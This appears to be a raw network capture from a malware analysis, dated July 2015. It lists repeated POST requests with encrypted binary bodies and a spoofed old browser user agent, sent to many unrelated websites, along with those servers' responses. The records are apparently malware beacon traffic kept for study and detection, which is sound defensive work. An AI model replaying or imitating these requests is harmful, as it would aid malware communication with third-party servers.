AhMKjUe8RQrktCOgIObq1jKU4xc/hCxZy1KVBhvhpbYEZMRdH/1fntEnzswWEg==

HTTP/1.1 403 Forbidden

Date: Thu, 23 Jul 2015 22:25:19 GMT

Server: Apache/2

Content-Length: 333

Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>403 Forbidden</title>.</head><body>.<h1>Forbidden</h1>.<p>You don't have permission to access /.on this server.</p>.<p>Additionally, a 500 Internal Server Error.error was encountered while trying to use an ErrorDocument to handle the request.</p>.</body></html>...

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 590

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.timetec.ru

Cache-Control: no-cache

Xe7XFValBT3Jzw6WMZz uvk0RXz25RF 6jYCfz2gmY3DCen3hMOLY6ctZ1ZZ1SzC

X9DiCGNRkJvHL/kPVGqZ5kdtsUNsro/O4M4c4KjLeEyPZ6tru96t16a/IgyjdY4Z

tfCwEcDQJ7WqyrgGGDK7Uxn0/2kR5XmpsKqpnWwQJ a3UWwBJw5kFEDUifyEVtHz

PkOLdiGbOu3o73rSgs/KorUfWKfKbe8PdHe0k/U HY6HWmHOZleh4BSTnxaZA7Fa

w/CdDQ9D1RpymTZuoXTGiNKd9Y/OJIQVB3aHIGA9jYixzbc5kbUGi2EPjWjW1aAN

UPErgVoBb1N8kKMhDZreh/Ubk3iVegMAVQMpr2CN51Wjtad3YIZT5azm4ZgaJJYR

7l3evD6UaF3a8dZYNoDy1/vhR6ZZSui2B5/M9YN1EVJGeSNHfiHXNFrPMfdjEK6j

aP8l8OLWGSbLc7K4/jTn3foLuQqTP0uawl4F8xBNlQbghzi2J4R5W6eNr HAZnRx

xgVWKEciWrjYZnsqGQqTgAQ1Aj7qC0t048FI7rHNdyndxOT3udxab5iU44w=

HTTP/1.1 404 Not Found

Server: nginx/0.7.67

Date: Thu, 23 Jul 2015 22:25:26 GMT

Content-Type: text/html; charset=windows-1251

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3-7 squeeze19

P3P: policyref="/bitrix/p3p.xml", CP="NON DSP COR CUR ADM DEV PSA PSD OUR UNR BUS UNI COM NAV INT DEM STA"

X-Powered-CMS: Bitrix Site Manager (d3135fce99d0937eec1dac7a1cd249e2)

Set-Cookie: PHPSESSID=de7422e193a8e9270e793c2eced84607; path=/; domain=VVV.timetec.ru; HttpOnly

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Vary: Accept-Encoding

4cf3..<!DOCTYPE html>..<html>..<head>. <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />.<meta name="keywords" content="...., ........ ....... ....., ..........., ....." />.<meta name="description" content="....... pirelli, benetton, valentino, sisley, sector, moschino, roberto cavalli, just cavalli, philip watch, charmax." />.<link href="/bitrix/js/main/core/css/core.min.css?14331679102854" type="text/css" rel="stylesheet" />.<link href="/bitrix/templates/giny.ru_timetec/components/bitrix/menu/template2/style.css?14290913934286" type="text/css" data-template-style="true" rel="stylesheet" />.<link href="/bitrix/templates/giny.ru_timetec/template_styles.css?143512780021885" type="text/css" data-template-style="true" rel="stylesheet" />.<script type="text/javascript">if(!window.BX)window.BX={message:function(mess){if(typeof mess=='object') for(var i in mess) BX.message[i]=mess[i]; return true;}};</script>.<script type="text/javascript">(window.BX||top.BX).message({'JS_CORE_LOADING':'...........','JS_CORE_NO_DATA':'- ... ...... -','JS_CORE_WINDOW_CLOSE':'.......','JS_CORE_WINDOW_EXPAND':'..........','JS_CORE_WINDOW_NARROW':'........ . ....','JS_CORE_WINDOW_SAVE':'.........','JS_CORE_WINDOW_CANCEL':'........','JS_CORE_H':'.','JS_CORE_M':'.','JS_CORE_S':'.','JSADM_AI_HIDE_EXTRA':'...... ......','JSADM_AI_ALL_NOTIF':'........ ...','JSADM_AUTH_REQ':'......... ...........!','JS_CORE_WINDOW_AUTH':'.....','JS_CORE_I

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 550

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.frimeset.com

Cache-Control: no-cache

ohK6L2w7mUXQMQQFV/9voH8xc/7ErBoWYMtuPdj1zej1N7aVaCIEo2R3s3yfNyJC

rHKEVpJ9/fiW7rqdJPG8Js9HnvKjPG2IWl1boTggHPPXdCn7lzKQTY0ncbSVI32c

7tfwfxB0dbW59UgrvHt2Q99n J8JGRp1cnn8SL/rOux/IKG0dGc/ PHjxuozr5PQ

eheJTtsdcNwAvJoZfz0BfRs9 824g1 mJbD9N1o2nDX54YGnPEXUeVH3zNLH1B2

JuDxa2lpfQRz95z 1t29NUBUuk0PLrmwfuVzDHBaj9VdLYCY1D111j2jM8NlixUc

E2JEbmibcfQIsBneq2lvlWeJ0x4mf83S5DS5tsdTbYLwWW4iyi0iB4jpniIryGzF

fPglL73dR3wD1 AJx53/tFoVCLSePPLtDNQ96NbgIyaDXVRY1XSKYoxW927alVNN

4yEDa flQ7Xeyb4SFjb4lGOS1h6xVisVJ9/46djwel3 miZ2QBPyWjSvjNUcbb6I

8Cc 5ZR2sW/q1oqWnw==

HTTP/1.1 200 OK

Server: nginx/1.2.1

Date: Thu, 23 Jul 2015 22:26:06 GMT

Content-Type: text/html

Content-Length: 744340

Connection: keep-alive

Cache-Control: private

Set-Cookie: ASP.NET_SessionId=zh2dlnbkl0cnfwzucbzljkql; path=/; HttpOnly

X-GeoIP-Country-Code: UA

X-Real-IP: 193.138.244.231

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "hXXp://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">.<html xmlns="hXXp://www.w3.org/1999/xhtml">.<head>. .<title> Time and Attendance System Software, Time Clock Software, Employee Attendance System, Tracking Software | Datamatics Management Services, Inc | Datamatics Management Services</title>.<meta http-equiv="Content-Language" content="EN" />.<meta name="description" content="Datamatics offers time and attendance system software, electronic time and attendance clocks, time clock system software, employee attendance system, employee tracking system software, fingerprint time attendance system, biometric time and attendance software globally." />.<meta name="keywords" content="time attendance system, time and attendance systems, time and attendance software, fingerprint time attendance, biometric time and attendance, employee attendance system, time and attendance clocks, fingerprint time attendance system, electronic attendance system, automated time and attendance, time clock software, time clock system, employee tracking software, employee tracking system" />.<meta name="copyright" content="? 2013 - Datamatics Management Services, Inc. All rights reserved." />.<meta name="author" content="time attendance system, time and attendance systems, time and attendance software, fingerprint time attendance, biometric time and attendance, employee attendance system, time and attendance clocks, fingerprin

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 586

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.sdcea.org

Cache-Control: no-cache

WTpyVATUsju3tkx9H09hOdeNb7E87U6 eKF3Mvye2LZoVHKBc3QCMpJkwf6ECIRw

KxRg0UFqNs94AvnXur3wA6zCMei zaDP9qqEowdnkteVQE zQr8NT6m1Lr2xT0dY

xkzzlQQm/eWYXpQJoNo6YZNMDHxlHOuFIG7myU7z1Yog00RROGXg3aeNmkT58Gnm

RSr8R0oa0n/TsIPQZrjUa2N8LJmGxSUQIoauzRLo/aJnitage14KZY6FPpx5uoZ6

mc Ajk/ZOAFi5Qi4gT4WNKI1gF1H1FhMl6/69eH4TCKpiAbwU YXZlNlGn/ sPoj

d0nm6QY3b6ySo8vJL MVOP8vkCJCgIFeIqirH8T74IWN1rOgRCItaEOcE2XoyyKp

iZddoH04OjnfCwZw5559betZwEEyfBbmHjXEysI o/8W5vFheDaKgPqGbg14H46A

Tp1X4H/m4P rATDHXYr2D4By/wuivb8Ols1I6V17k5UNW2iJV4NVsm8SLVccHiOC

YEORMc9FC56a6Xd1CPbrH43ZUB0nnGK6plkThUBFUMp4mexMg9EzDPQ=

HTTP/1.1 301 Moved Permanently

Date: Thu, 23 Jul 2015 22:25:22 GMT

Server: Apache

Location: hXXp://sdcea.org/

Content-Length: 225

Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>301 Moved Permanently</title>.</head><body>.<h1>Moved Permanently</h1>.<p>The document has moved <a href="hXXp://sdcea.org/">here</a>.</p>.</body></html>...

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 600

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.chaparri.org

Cache-Control: no-cache

J3ZqerUiekAXYj1zHNQjkK4cApdDVNu ueoFKvAUIyeh/lYpNvNx dc2LIByZiPs

YyMN1bKP1W6CCygBqe4kjcJ6xTpIq4VJZyQIC2uLadfBeZ/KswVS/ss eujo/Yf6

SZDWA2QjZD01TOJnvW9wrTV8mu 3XL pDDifqa82yFid29Yg8bRXiax4cqIJ5lSL

kvzMq1vRX68oawbnyn4NJvxuqzsIsGwgOEW6Xw8rO/Fc3lB61fl3vRq5Z7b4pSQs

h74puBCS4jZ4LZaVxjEH9m7eiYD SrBAilYE2DjRD3SlRRJ4ectjdMsiQNs lOLB

p0UmZ5F7Vc0NpOzIuzqqzeXcAp/qJMj7a1LMppKNZ7DZxUjSlXWZYGvgfeazM6SS

wS5XKBhA3SYWofhyOjNHt/jr71dZ642TG4NQkZ/SR3JT8WY/RwC8F8kYhPLKlqtr

6Y7gvj2vXbaRnZ9nh9NACv46IHsS2YObTm RrnYuac7pCooQT55iHAlZ1TxNyps6

yMHnELGkXAYm6FM3qrY9OLa0dN4LMIAwA 90Hv6NpQrSMy1O6/ ODa UTnFYbUuz

ZmY=

HTTP/1.1 200 OK

Date: Thu, 23 Jul 2015 22:25:42 GMT

Server: Apache

Last-Modified: Thu, 09 Jul 2009 04:05:42 GMT

ETag: "238029-ee7-46e3df823d180"

Accept-Ranges: bytes

Content-Length: 3815

X-Powered-By: PleskLin

Connection: close

Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://VVV.w3.org/TR/html4/loose.dtd">.<html>..<head>...<title></title>...<link rel="stylesheet" type="text/css" href="css/winxp.blue.css">...<script language="javascript" type="text/javascript">....document.write('<script language="javascript" type="text/javascript" src="hXXp://' ........location.hostname ':8880/javascript/newsfeeds.js.php"></' 'script>\n');....document.write('<script language="javascript" type="text/javascript" src="hXXp://' ........location.hostname ':8880/javascript/promo-flags.js.php"></' 'script>\n');...</script>.</head>.<body>.<div class="screenLayout">..<div class="headerContainer">..<div class="pageHeader">...<script language="javascript" type="text/javascript">....if (window.product_copyrights) {.....document.write('<a href="hXXp://VVV.parallels.com" target="_blank" class="topRightLogo"><img width="170" height="48" src="img/common/parallels_logo.gif" alt="parallels_logo.gif"/></a>');....}...</script>...<div id="topTxtBlock">....<a target="_blank" href="hXXp://VVV.parallels.com/plesk/" title="Parallels™ Plesk Control Panel" class="topLogo"><img src="img/common/logo.gif" height="50" border="0" width="210" title="Parallels™ Plesk Control Panel"></a>....<script language="javascript" type="text/javascript">.....if (window.product_copyrights) {....

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 600

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.luas.ie

Cache-Control: no-cache

QOSNiubpQTy5eS8sgXhvZgk4MpPGfeNjevwT6i2ma2WSMqndZ0 r0pLgFs9KIXrz

nKAXzerdWHxo6ai1 7v2K6ZWd9qncGwEgr7rWZ6P/XM2suOHuZRW5w6Fg9NPXouU

en2tfeU3szC0/D8UeJYYgralKGEKY IPxxBkdX/fgSbUBpseLxIaeuQ7VjT3xuJn

LAPEuv XarowsiHnodZ WpdTCXk1CjI0o9SyPFwqah Cwc6hVTnrZQrlMpCqAnT/

wZNyvF9VPQlxQOiwXIQXSQlQ0xvWzXzCUM2Z5qIWoUXoygTlftYZahlwZH89LrsO

QYi9CKYAZ2BxvfbSw/RLE7GYrnXMM FKZuDxmBb8pxmo1zucHIxizlsrNpfMrpQO

pxX/5v6Qt3Ao3WBb prskk/dYjsz7CjqawpcNsbIg4OZFSsOUvM fx/tiEqNtfKS

HXMfH5V6O0dBWH wpYtRxDBVSUstks2MPckKPTslaIWOKrvnj2xkNs hPvAtu095

QceU5puXHQKMWk1SGaAfKRCvoeZEGZc9cX2oQQH/G2 KWPHM3QwZWJpI4NvlOmla

N0V

HTTP/1.1 301 Moved Permanently

Server: nginx/1.8.0

Date: Thu, 23 Jul 2015 22:25:28 GMT

Content-Type: text/html

Content-Length: 184

Connection: keep-alive

Location: hXXps://luas.ie/

<html>..<head><title>301 Moved Permanently</title></head>..<body bgcolor="white">..<center><h1>301 Moved Permanently</h1></center>..<hr><center>nginx/1.8.0</center>..</body>..</html>..>....

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 600

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.luas.ie

Cache-Control: no-cache

QOSNiubpQTy5eS8sgXhvZgk4MpPGfeNjevwT6i2ma2WSMqndZ0 r0pLgFs9KIXrz

nKAXzerdWHxo6ai1 7v2K6ZWd9qncGwEgr7rWZ6P/XM2suOHuZRW5w6Fg9NPXouU

en2tfeU3szC0/D8UeJYYgralKGEKY IPxxBkdX/fgSbUBpseLxIaeuQ7VjT3xuJn

LAPEuv XarowsiHnodZ WpdTCXk1CjI0o9SyPFwqah Cwc6hVTnrZQrlMpCqAnT/

wZNyvF9VPQlxQOiwXIQXSQlQ0xvWzXzCUM2Z5qIWoUXoygTlftYZahlwZH89LrsO

QYi9CKYAZ2BxvfbSw/RLE7GYrnXMM FKZuDxmBb8pxmo1zucHIxizlsrNpfMrpQO

pxX/5v6Qt3Ao3WBb prskk/dYjsz7CjqawpcNsbIg4OZFSsOUvM fx/tiEqNtfKS

HXMfH5V6O0dBWH wpYtRxDBVSUstks2MPckKPTslaIWOKrvnj2xkNs hPvAtu095

QceU5puXHQKMWk1SGaAfKRCvoeZEGZc9cX2oQQH/G2 KWPHM3QwZWJpI4NvlOmla

N0V

HTTP/1.1 301 Moved Permanently

Server: nginx/1.8.0

Date: Thu, 23 Jul 2015 22:25:28 GMT

Content-Type: text/html

Content-Length: 184

Connection: keep-alive

Location: hXXps://luas.ie/

<html>..<head><title>301 Moved Permanently</title></head>..<body bgcolor="white">..<center><h1>301 Moved Permanently</h1></center>..<hr><center>nginx/1.8.0</center>..</body>..</html>..HTTP/1.1 301 Moved Permanently..Server: nginx/1.8.0..Date: Thu, 23 Jul 2015 22:25:28 GMT..Content-Type: text/html..Content-Length: 184..Connection: keep-alive..Location: hXXps://luas.ie/..<html>..<head><title>301 Moved Permanently</title></head>..<body bgcolor="white">..<center><h1>301 Moved Permanently</h1></center>..<hr><center>nginx/1.8.0</center>..</body>..</html>....

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 574

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.dilmar.com

Cache-Control: no-cache

gt46bsnfzEDIAP/hGGahAuIi9LHneBrBDdfzE/RQRI7VNNacxnRDCPuCdyCz5EvO

577Gpy6QwqVnOD9WvNebi7nWHfqCiTvbNE56sSicw2BZNH8/Dcna0H/1pGBgt47

N182lonGkHGXXDVfnkXbcXJsp8zL1hk5LEPzHeJeGdtrTrG3PJWRz wUsPobZPnq

3JdmVJPu5xv9gDoyOWqEpyiVU nuXkK/le1vG8kJJ3lUh7/AVVaxQEZTycT7diQK

ukLpbOmqaPMGG37lwv g1G1tTpcVNuVeCxNG xhcQPcVblJm37/vQldwtvQv2Ec7

2KSdqP6Ux0U06it6Ph6sOdxDSgDC0fWu1U4NYgrU56IqKLiXdxQlzNZZNbjHftLX

rZG5hWYH4jMvlMNvGSvYIRH86D6Z0fG82GaKNqxy6bQMhG/5wEb3wk vq8gWavoM

z4br891oVMLuD76XOlj2eQttc0cVGXy2sGGXe63k3v2/5y91lSNdEOHyQ4aesrX4

xE6e3JDrZ XDSG/AjIlYtdEy CS1UfsNT78ZnqxSuGU=

HTTP/1.1 403 Forbidden

Date: Thu, 23 Jul 2015 22:25:44 GMT

Server: Apache

Content-Length: 202

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>403 Forbidden</title>.</head><body>.<h1>Forbidden</h1>.<p>You don't have permission to access /.on this server.</p>.</body></html>.....

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 574

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.dilmar.com

Cache-Control: no-cache

gt46bsnfzEDIAP/hGGahAuIi9LHneBrBDdfzE/RQRI7VNNacxnRDCPuCdyCz5EvO

577Gpy6QwqVnOD9WvNebi7nWHfqCiTvbNE56sSicw2BZNH8/Dcna0H/1pGBgt47

N182lonGkHGXXDVfnkXbcXJsp8zL1hk5LEPzHeJeGdtrTrG3PJWRz wUsPobZPnq

3JdmVJPu5xv9gDoyOWqEpyiVU nuXkK/le1vG8kJJ3lUh7/AVVaxQEZTycT7diQK

ukLpbOmqaPMGG37lwv g1G1tTpcVNuVeCxNG xhcQPcVblJm37/vQldwtvQv2Ec7

2KSdqP6Ux0U06it6Ph6sOdxDSgDC0fWu1U4NYgrU56IqKLiXdxQlzNZZNbjHftLX

rZG5hWYH4jMvlMNvGSvYIRH86D6Z0fG82GaKNqxy6bQMhG/5wEb3wk vq8gWavoM

z4br891oVMLuD76XOlj2eQttc0cVGXy2sGGXe63k3v2/5y91lSNdEOHyQ4aesrX4

xE6e3JDrZ XDSG/AjIlYtdEy CS1UfsNT78ZnqxSuGU=

HTTP/1.1 403 Forbidden

Date: Thu, 23 Jul 2015 22:25:44 GMT

Server: Apache

Content-Length: 202

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>403 Forbidden</title>.</head><body>.<h1>Forbidden</h1>.<p>You don't have permission to access /.on this server.</p>.</body></html>.HTTP/1.1 403 Forbidden..Date: Thu, 23 Jul 2015 22:25:44 GMT..Server: Apache..Content-Length: 202..Content-Type: text/html; charset=iso-8859-1..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>403 Forbidden</title>.</head><body>.<h1>Forbidden</h1>.<p>You don't have permission to access /.on this server.</p>.</body></html>...

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 594

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.masph.com

Cache-Control: no-cache

hYspyFi4Y0BMFM6CW1 KPUt5pNog2iLqDIFkWDK68F0dw0snWX0bM8BRxcS/pSsa

EBd2MH66csyztsdzfhXxge/6ABLw4bbJJlN2sfDCbIYMiDfDPqmsaK/Cl3bSjApm

wN3TQmWSUEdkQT8ZvDE1UdrgAg1thP5s8t1iYRk96pw/W2lhrpsmffA2IMGTNukd

zqsQzRp8 U 5idN kUz4JAvV01mFfKltI50fhIwvXzH NW2TavHJ83w6MfYBf59l

Dtf SlJM8fpbb7QQGUm8BLny3XqSIrBM32MfWI/mCjzwXR92hqMY VXfEwUiyzQr

IJcjQK3z6fKwniMhS8YRHG8gpunhOnvlmLX7Md9zHqrrExVoVwK1eAypfc2LnnjY

ddMf5Vsb6slRugzoEeP WoLQiQvPyh6Nl7VEI7HPCIY2lLUTCZqPFjxumrjX2lT/

WRHKee/pA0Z7AP/pLErHqRDdohJ/tSGkVZVp4TijCsuLvYNsqJ1NtM7V9hzlWMxR

FIHsQBRVHrQgaTC5XDFf4GR8tCIwo6MxVDqb2Zvb1hnYaykgDIrZSXjkqtA38fA=

HTTP/1.1 301 Moved Permanently

Date: Thu, 23 Jul 2015 22:25:42 GMT

Server: Apache/2.2.29 (Unix) mod_ssl/2.2.29 OpenSSL/1.0.1e-fips mod_bwlimited/1.4

X-Powered-By: PHP/5.4.32

Location: /front/index.php

Content-Length: 0

Content-Type: text/html

HTTP/1.1 301 Moved Permanently..Date: Thu, 23 Jul 2015 22:25:42 GMT..Server: Apache/2.2.29 (Unix) mod_ssl/2.2.29 OpenSSL/1.0.1e-fips mod_bwlimited/1.4..X-Powered-By: PHP/5.4.32..Location: /front/index.php..Content-Length: 0..Content-Type: text/html..

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 562

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.maintasc.com

Cache-Control: no-cache

cnfs0XVKhUDXWWCq3FlL5G5eqJIDt6bKebb1ymyf mIfPeTq1QPVJ3aFE175UmHK

Cd2zF1TsYSqkwNdo31aJY0GEhMdtrDtx6LIPd0rcP1Tvo5ReSCppUAet4JW5z75p

t6kQU8kco762OgZOIZTjtrE5I9P1cRPAnihpcJa1318AMdaMNiw7hYWFIzntERW7

iIMvcwu8KjrSTf6Otkttqfxz tNNfr3XpwGCwkHl2sCHctirc1qZpBTdsW5KLK9m

SKY6lpFYvXZ7GVAvuBkB8QeFoBhVahAyHCpDOqlnIdvqZUE50sLkRRs pP1SbmyA

1Mq3FV8Um tuwzD21LrQNEeQdGEH2kmARdYYd7GOQsfaWrlflxBd1bU9amdEGp14

vJtjCyByYHpkCfQbftBbKOE AhU/ndyXfzygomEF9w/Y8PEvovTCyufhMV/UqdKn

wghV6oFl/COIJLIgGlrgUwC8RrcLaj/vWz/B1AQgOfEfO3unLuOQSC8EJVLOo00j

w0ivWuhMQdNynA9saUD tU88w7J1tdhO

HTTP/1.0 301 Moved Permanently

Date: Thu, 23 Jul 2015 22:25:42 GMT

Server: Apache

Location: hXXp://VVV.primatasc.com/producten.html

Vary: Accept-Encoding

Content-Length: 247

Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>301 Moved Permanently</title>.</head><body>.<h1>Moved Permanently</h1>.<p>The document has moved <a href="hXXp://VVV.primatasc.com/producten.html">here</a>.</p>.</body></html>...

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 538

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.umcor.am

Cache-Control: no-cache

shijZe9isztNHBQUDjNNZ/hekkUFijkqk6HRg5oMapzl7XsCrdT 6Yhd3/2UM3So

K1D/ihElYof8hV6UcwP//A5YdXMO8u//ra1hAdLY/GkcejN5E8uFSOVqEqT6B01A

y4/gsEd6cAk5Os9prLiI0T/nRfn59IGVTkyPuqFqvHdFAK3aIMN0s/O7b/aMjMh0

5WswERGc4f/DngEXvvUSg6zTwtDYtSbuTKWXBeLFDeutrkRsBn98KgH9zZGeGSdm

uUrmeuAqx4ubEPuFDztOiCsSrOAK5JapC3d t Mdvc5xCt2enKvGkwffT SUAejl

KtX4g4q7dnQw24uwBdKoxhtRfS9ev/5C2TedgyRDwHU5I25Ey2bq2mq42R38Pq1i

elGU8r mBpiYjB12s3Et0YjdOG WTw9twThTk2RRiaqlAXPhmJQlvDDt8O4EET9P

xlIt8IAYgWJBmxultTCSGx4hb17Gbvm619ILk1Ip5xFVnMFnpDRWljzH9u1H Lnv

hWHfzRE=

HTTP/1.1 200 OK

Date: Thu, 23 Jul 2015 22:21:59 GMT

Server: Apache

Last-Modified: Fri, 06 Dec 2013 10:06:45 GMT

ETag: "21bff-62-4ecdacdc2184d"

Accept-Ranges: bytes

Content-Length: 98

Connection: close

Content-Type: text/html; charset=UTF-8

<html>. <head>. <meta HTTP-EQUIV="REFRESH" content="0; url=/mail/">. </head>.</html>...

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 550

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.nopa.or.jp

Cache-Control: no-cache

Sb7Owz2nz0AQFixh9L RmHZ 18Brx5YKwbNU8Y6jVBr7nZ37Sb7sDJo eibR/L92

PRJtVHlKIHdDAwefcGanao5b//o69a/JTTAFDvVlS4baC5 IXG7/cnJmdFw2XOZG

XdHrcPrBeRMAVlmR8FZ3EyIs78dfLclrpaQun81mISaa5Ju8Uejr/Gf9PKDXD7l6

1n5TvljEVPwquVzMGj m1WxCyNeGLMWN/7CwMxt07/nPPIFcDAwcopP4476wi6Ac

jSJl54uQygcAyfKhzKiBN y3XEQwXCz rpgQVrFwyytpTrB3zB/oKr9NQZwFuDLF

mAytTdVXiTrn6wMkB5xre6Pg8 b1nfyn1nkBihn51B2wSbEhAUuG4teAe4i20zFA

1hbEvtBJH3LUgboR z/JgxKwhTToeFnITKFHkRlrl8IuRbLHiMg5wSTPaBeaBdAm

Owm5kSTPwx8naMAHpS0LRUiEqi2E7dCvscdml89SdNnLroyQ5v T0oxQN2nlIoxz

X4ZIaY7NFaPH2rpBrMQa

HTTP/1.0 403 Forbidden

Date: Thu, 23 Jul 2015 22:25:44 GMT

Server: Apache

Content-Length: 202

Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>403 Forbidden</title>.</head><body>.<h1>Forbidden</h1>.<p>You don't have permission to access /.on this server.</p>.</body></html>...

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 562

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.6ml.net

Cache-Control: no-cache

pHfL7z43fkV8CjknCXXociHrDCv 4RlVUiudNV/VZsy59YFZh0DVimd84LaAWYkO

PuqNA6YghhdGOAh4xn6P8c0hrysdxW3wpYk0shcioBm6bYcgfPCQsMxT7rPEngFe

NN7EZyDACNanoTADhFCPRs XPlKo9AL9fJMb87To/njVXw1 zc7mSIb0ljHdCPle

35nDVI51ImEQ5IdiqrP82MFKlDwMH8dTf ISS35zY9Zeneiog6TOlmX/8hBSRkNy

TDqUjGVV0TJIIl17sN8p7nM03L8HoVB9NDJxfsU1BzNh9TOTkIbzCljVrMbuTaXa

rLl TvOJD4g70/9zqnYO33RU71ib3BveKXDkKCrvG9dkTbuzhA97jDiDLeQ4dHcL

TNJp3vEgur64/jUqK7vZjvI2nm3b4RtiRMSPCK4TfJ6USyClesgmdEdX3k3gyCbS

2yER/1XRohOH7Uxm 8E1mwipLmsbNAXwriU3 uzu72UfLLPLOnAIKFbC02mGIUwW

7PzocXDK6wyxVBDbXIxlRdsf6DWnbg==

HTTP/1.1 302 Found

Date: Thu, 23 Jul 2015 22:26:07 GMT

Server: Apache

Location: hXXp://fan.xrea.org/

Content-Length: 204

Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>302 Found</title>.</head><body>.<h1>Found</h1>.<p>The document has moved <a href="hXXp://fan.xrea.org/">here</a>.</p>.</body></html>...

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 554

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.honnyaku.com

Cache-Control: no-cache

2G CpK/BQjw9OXo/zoMVz7jrRCTF7x9cU1REvIYFn B/Qy6DUQsxJr1wHsgCawvM

pWhKBg2poOhw9d UBu7/1vnEKsMqKDTUckgDiVnFedtTvgKQbhjHQtuWEMvBGm62

uX2EK qFQYNkJZKxHiHuvRm5zmFw0kQkJ3DvoHlas4Qxz19G1GDoqXYjvO3MCA3o

AcBkQ7hRC9h/4z bfChf5ShUZJ5MPC8dj8h7VieLiZTC1RYwDWhi/2gNFhvWto9

0nG1WKHQ4SujgwH4 Bj7aITIocapHypXMZKufwM9DuXa2v5P1gEwRH4m 8Sku6Px

VNV4/d0wH3m0TAR6XWC3EQtHW3LNZQgd4MNReZgXl/07Tcig4jWgFFOIYZ7E6Ndd

EvBizL8uhatWyUQ5CWYFo7sPgYO6P81G3HdZlbI1CL7muUJR9g2tGC87yE0HTaIo

ojvM9CQVwet1yUcH nLQvduFMIA3JIXR3wwysDGE77BKlnDO1ayOqWfMpcZ3sKo7

yU2 06lCJJCQGUym1xgtvqd5

HTTP/1.1 200 OK

Date: Thu, 23 Jul 2015 22:25:23 GMT

Server: Apache

X-Pingback: hXXp://honnyaku.com/xmlrpc.php

Link: <hXXp://honnyaku.com/>; rel=shortlink

Transfer-Encoding: chunked

Content-Type: text/html; charset=UTF-8

